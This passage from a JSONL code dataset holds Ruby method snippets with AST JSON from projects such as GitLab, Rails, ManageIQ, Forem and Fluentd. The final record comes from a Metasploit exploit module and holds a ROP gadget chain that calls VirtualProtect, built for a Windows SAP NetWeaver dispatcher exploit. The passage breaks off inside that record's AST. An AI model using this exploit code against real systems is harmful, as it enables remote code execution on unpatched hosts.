end","complexity_score":57.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"filter_recipients_by_query_access\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recipients\"]},{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"kwoptarg\",\"children\":[\"users_from_group\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"recipients\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"groups\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"recipients\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"emails\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recipients\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"query_group_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"AUTO_GROUPS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"admins\"]}]}]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"groups\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"group_id\"]}]}]},\"uniq\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users_from_group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"concat\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"group_users\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"ids\"]}]}]}]}]}]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"users.admin OR EXISTS (\\n\"]},{\"type\":\"str\",\"children\":[\"                SELECT 1 FROM group_users gu\\n\"]},{\"type\":\"str\",\"children\":[\"                WHERE gu.user_id = users.id\\n\"]},{\"type\":\"str\",\"children\":[\"                AND gu.group_id IN (?)\\n\"]},{\"type\":\"str\",\"children\":[\"              )\"]}]},{\"type\":\"lvar\",\"children\":[\"query_group_ids\"]}]},\"distinct\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"username\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"str\",\"children\":[\"username\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_group_ids\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"name\"]},{\"type\":\"str\",\"children\":[\"group_name\"]}]}]},null]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Guardian\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"user_can_access_query?\",{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]},{\"type\":\"str\",\"children\":[\"username\"]}]}]},null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"emails\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"email\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Email\"]},\"is_valid?\",{\"type\":\"lvar\",\"children\":[\"email\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]},{\"type\":\"str\",\"children\":[\"email\"]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"c74e45bf-4369-46cf-8b85-55acc6bd0bbe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/job.rb","start_line":301,"raw_source":"def perform_inline(*args)\n        Setter.new(self, {}).perform_inline(*args)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_inline\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setter\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"hash\",\"children\":[]}]},\"perform_inline\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"d4a5ebea-9a78-4bea-89e6-746bc04ce68a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/labels_helper.rb","start_line":153,"raw_source":"def create_label_title(subject)\n    case subject\n    when Group\n      _('Create group label')\n    when Project\n      _('Create project label')\n    else\n      _('Create new label')\n    end\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"create_label_title\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subject\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Create group label\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Create project label\"]}]}]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Create new label\"]}]}]}]}","id":"631ac502-9d04-4c55-aae2-33474b814353"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/data_sync/widgets/designs.rb","start_line":7,"raw_source":"def after_save_commit\n          return unless target_work_item.get_widget(:designs)\n          return unless work_item.designs.exists?\n\n          unless user_can_copy?\n            log_error(\"User cannot copy designs to work item\")\n            return\n          end\n\n          target_design_collection = target_work_item.design_collection\n\n          unless target_design_collection.can_start_copy?\n            log_error(\"Target design collection copy state must be `ready`\")\n            return\n          end\n\n          target_design_collection.start_copy!\n\n          DesignManagement::CopyDesignCollectionWorker.perform_async(current_user.id, work_item.id, target_work_item.id)\n        end","complexity_score":27.2,"ast_json":"{\"type\":\"def\",\"children\":[\"after_save_commit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_work_item\"]},\"get_widget\",{\"type\":\"sym\",\"children\":[\"designs\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_item\"]},\"designs\"]},\"exists?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_can_copy?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_error\",{\"type\":\"str\",\"children\":[\"User cannot copy designs to work item\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_design_collection\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_work_item\"]},\"design_collection\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_design_collection\"]},\"can_start_copy?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_error\",{\"type\":\"str\",\"children\":[\"Target design collection copy state must be `ready`\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_design_collection\"]},\"start_copy!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DesignManagement\"]},\"CopyDesignCollectionWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_item\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_work_item\"]},\"id\"]}]}]}]}","id":"f7b02d9f-79a4-447b-823d-b12d25320f32"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/engine/lazy_route_set_test.rb","start_line":169,"raw_source":"def build_engine\n          engine \"plugin\" do |plugin|\n            plugin.write \"app/models/post.rb\", <<~RUBY\n              class Post < ActiveRecord::Base\n              end\n            RUBY\n\n            plugin.write \"lib/plugin.rb\", <<~RUBY\n              module Plugin\n                class Engine < ::Rails::Engine\n                end\n              end\n            RUBY\n\n            plugin.write \"config/routes.rb\", <<~RUBY\n              Plugin::Engine.routes.draw do\n                root to: proc { [200, {}, []] }\n\n                resources(:posts)\n              end\n            RUBY\n          end\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_engine\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"engine\",{\"type\":\"str\",\"children\":[\"plugin\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"plugin\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"write\",{\"type\":\"str\",\"children\":[\"app/models/post.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"class Post < ActiveRecord::Base\\n\"]},{\"type\":\"str\",\"children\":[\"end\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"write\",{\"type\":\"str\",\"children\":[\"lib/plugin.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"module Plugin\\n\"]},{\"type\":\"str\",\"children\":[\"  class Engine < ::Rails::Engine\\n\"]},{\"type\":\"str\",\"children\":[\"  end\\n\"]},{\"type\":\"str\",\"children\":[\"end\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"write\",{\"type\":\"str\",\"children\":[\"config/routes.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Plugin::Engine.routes.draw do\\n\"]},{\"type\":\"str\",\"children\":[\"  root to: proc { [200, {}, []] }\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  resources(:posts)\\n\"]},{\"type\":\"str\",\"children\":[\"end\\n\"]}]}]}]}]}]}","id":"7aba95c7-56f9-483a-8fd3-64821fe6f8f0"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/cloud_volume/operations.rb","start_line":8,"raw_source":"def attach_volume_queue(userid, server_ems_ref, device = nil)\n    task_opts = {\n      :action => \"attaching Cloud Volume for user #{userid}\",\n      :userid => userid\n    }\n\n    queue_opts = {\n      :class_name  => self.class.name,\n      :method_name => 'attach_volume',\n      :instance_id => id,\n      :role        => 'ems_operations',\n      :queue_name  => ext_management_system.queue_name_for_ems_operations,\n      :zone        => ext_management_system.my_zone,\n      :args        => [server_ems_ref, device]\n    }\n\n    MiqTask.generic_action_with_callback(task_opts, queue_opts)\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"attach_volume_queue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"userid\"]},{\"type\":\"arg\",\"children\":[\"server_ems_ref\"]},{\"type\":\"optarg\",\"children\":[\"device\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"task_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"attaching Cloud Volume for user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"userid\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"lvar\",\"children\":[\"userid\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"queue_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_name\"]},{\"type\":\"str\",\"children\":[\"attach_volume\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"ems_operations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]},\"queue_name_for_ems_operations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]},\"my_zone\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server_ems_ref\"]},{\"type\":\"lvar\",\"children\":[\"device\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqTask\"]},\"generic_action_with_callback\",{\"type\":\"lvar\",\"children\":[\"task_opts\"]},{\"type\":\"lvar\",\"children\":[\"queue_opts\"]}]}]}]}","id":"5a961d6d-2574-490d-aef9-e51e4beaa29e"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/moderations_controller.rb","start_line":41,"raw_source":"def article\n    load_article\n    render template: \"moderations/mod\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"article\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load_article\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"moderations/mod\"]}]}]}]}]}]}","id":"a8276324-3713-4379-ab14-7e4fc26b477d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/persistence_test.rb","start_line":578,"raw_source":"def test_create\n    topic = Topic.new\n    topic.title = \"New Topic\"\n    topic.save\n    topic_reloaded = Topic.find(topic.id)\n    assert_equal(\"New Topic\", topic_reloaded.title)\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"title=\",{\"type\":\"str\",\"children\":[\"New Topic\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"save\"]},{\"type\":\"lvasgn\",\"children\":[\"topic_reloaded\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"New Topic\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic_reloaded\"]},\"title\"]}]}]}]}","id":"3885d7af-7c6c-4f99-a1d1-cda08368059e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/issue.rb","start_line":876,"raw_source":"def group_epic_work_item?\n    epic_work_item? && group_level?\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"group_epic_work_item?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"epic_work_item?\"]},{\"type\":\"send\",\"children\":[null,\"group_level?\"]}]}]}","id":"d881693f-cfa6-4d1f-bf81-74928066d52f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/error_tracking_open_api/lib/error_tracking_open_api/configuration.rb","start_line":175,"raw_source":"def scheme=(scheme)\n      # remove :// from scheme\n      @scheme = scheme.sub(/:\\/\\//, '')\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"scheme=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scheme\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@scheme\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scheme\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"://\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"2a7893a9-ce54-4504-9ea3-f5fc78c4b373"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/static_config_analysis.rb","start_line":103,"raw_source":"def parse_worker_id(conf)\n      worker_id_str = conf.arg\n\n      if worker_id_str.empty?\n        raise Fluent::ConfigError, 'Missing worker id on <worker> directive'\n      end\n\n      l, r =\n         begin\n           worker_id_str.split('-', 2).map { |v| Integer(v) }\n         rescue TypeError, ArgumentError\n           raise Fluent::ConfigError, \"worker id should be integer: #{worker_id_str}\"\n         end\n\n      if l < 0 || l >= @workers\n        raise Fluent::ConfigError, \"worker id #{l} specified by <worker> directive is not allowed. Available worker id is between 0 and #{@workers-1}\"\n      end\n\n      # e.g. specified one worker id like `<worker 0>`\n      if r.nil?\n        return [l]\n      end\n\n      if r < 0 || r >= @workers\n        raise Fluent::ConfigError, \"worker id #{r} specified by <worker> directive is not allowed. Available worker id is between 0 and #{@workers-1}\"\n      end\n\n      if l > r\n        raise Fluent::ConfigError, \"greater first_worker_id<#{l}> than last_worker_id<#{r}> specified by <worker> directive is not allowed. Available multi worker assign syntax is <smaller_worker_id>-<greater_worker_id>\"\n      end\n\n      [l, r]\n    end","complexity_score":34.33,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_worker_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"worker_id_str\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"arg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker_id_str\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"str\",\"children\":[\"Missing worker id on <worker> directive\"]}]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"l\"]},{\"type\":\"lvasgn\",\"children\":[\"r\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker_id_str\"]},\"split\",{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"int\",\"children\":[2]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TypeError\"]},{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"worker id should be integer: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker_id_str\"]}]}]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"<\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\">=\",{\"type\":\"ivar\",\"children\":[\"@workers\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"worker id \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]}]},{\"type\":\"str\",\"children\":[\" specified by <worker> directive is not allowed. Available worker id is between 0 and \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@workers\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"<\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\">=\",{\"type\":\"ivar\",\"children\":[\"@workers\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"worker id \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]}]},{\"type\":\"str\",\"children\":[\" specified by <worker> directive is not allowed. Available worker id is between 0 and \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@workers\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\">\",{\"type\":\"lvar\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"greater first_worker_id<\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]}]},{\"type\":\"str\",\"children\":[\"> than last_worker_id<\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]}]},{\"type\":\"str\",\"children\":[\"> specified by <worker> directive is not allowed. Available multi worker assign syntax is <smaller_worker_id>-<greater_worker_id>\"]}]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},{\"type\":\"lvar\",\"children\":[\"r\"]}]}]}]}","id":"b39dd368-b587-4167-a25b-dbb44b5fbd11"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb","start_line":76,"raw_source":"def create_rop_chain()\n    # ROP chains provided by Corelan.be\n    # https://www.corelan.be/index.php/security/corelan-ropdb/#msvcrtdll_8211_v7037903959_Windows_2003_SP1_SP2\n    rop_gadgets =\n      [\n        0x77bb2563, # POP EAX # RETN\n        0x77ba1114, # <- *&VirtualProtect()\n        0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN\n        0x41414141, # junk\n        0x77bb0c86, # XCHG EAX,ESI # RETN\n        0x77bc9801, # POP EBP # RETN\n        0x77be2265, # ptr to 'push esp #  ret'\n        0x77bb2563, # POP EAX # RETN\n        0x03C0A40F,\n        0x77bdd441, # SUB EAX, 03c0940f  (dwSize, 0x500 -> ebx)\n        0x77bb48d3, # POP EBX, RET\n        0x77bf21e0, # .data\n        0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN\n        0x77bbfc02, # POP ECX # RETN\n        0x77bef001, # W pointer (lpOldProtect) (-> ecx)\n        0x77bd8c04, # POP EDI # RETN\n        0x77bd8c05, # ROP NOP (-> edi)\n        0x77bb2563, # POP EAX # RETN\n        0x03c0984f,\n        0x77bdd441, # SUB EAX, 03c0940f\n        0x77bb8285, # XCHG EAX,EDX # RETN\n        0x77bb2563, # POP EAX # RETN\n        0x90909090, # nop\n        0x77be6591, # PUSHAD # ADD AL,0EF # RETN\n      ].pack(\"V*\")\n\n    return rop_gadgets\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_rop_chain\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rop_gadgets\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2008753507]},{\"type\":\"int\",\"children\":[2008682772]},{\"type\":\"int\",\"children\":[2008805956]},{\"type\":\"int\",\"children\":[1094795585]},{\"type\":\"int\",\"children\":[2008747142]},{\"type\":\"int\",\"children\":[2008848385]},{\"type\":\"int\",\"children\":[2008949349]},{\"type\":\"int\",\"children\":[2008753507]},{\"type\":\"int\",\"children\":[62956559]},{\"type\":\"int\",\"children\":[2008929345]},{\"type\":\"int\",\"children\":[2008762579]},{\"type\":\"int\",\"children\":[2009014752]},{\"type\":\"int\",\"children\":[2008805634]},{\"type\":\"int\",\"children\":[2008808450]},{\"type\":\"int\",\"children\":[2009001985]},{\"type\":\"int\",\"children\":[2008910852]},{\"type\":\"int\",\"children\":[2008910853]},{\"type\":\"int\",\"children\":[2008753507]},{\"type\":\"int\",\"children\":[62953551]},{\"type\":\"int\",\"children\":[2008929345]},{\"type\":\"int\",\"children\":[2008777349]},{\"type\":\"int\",\"children\":[2008753507]},{\"t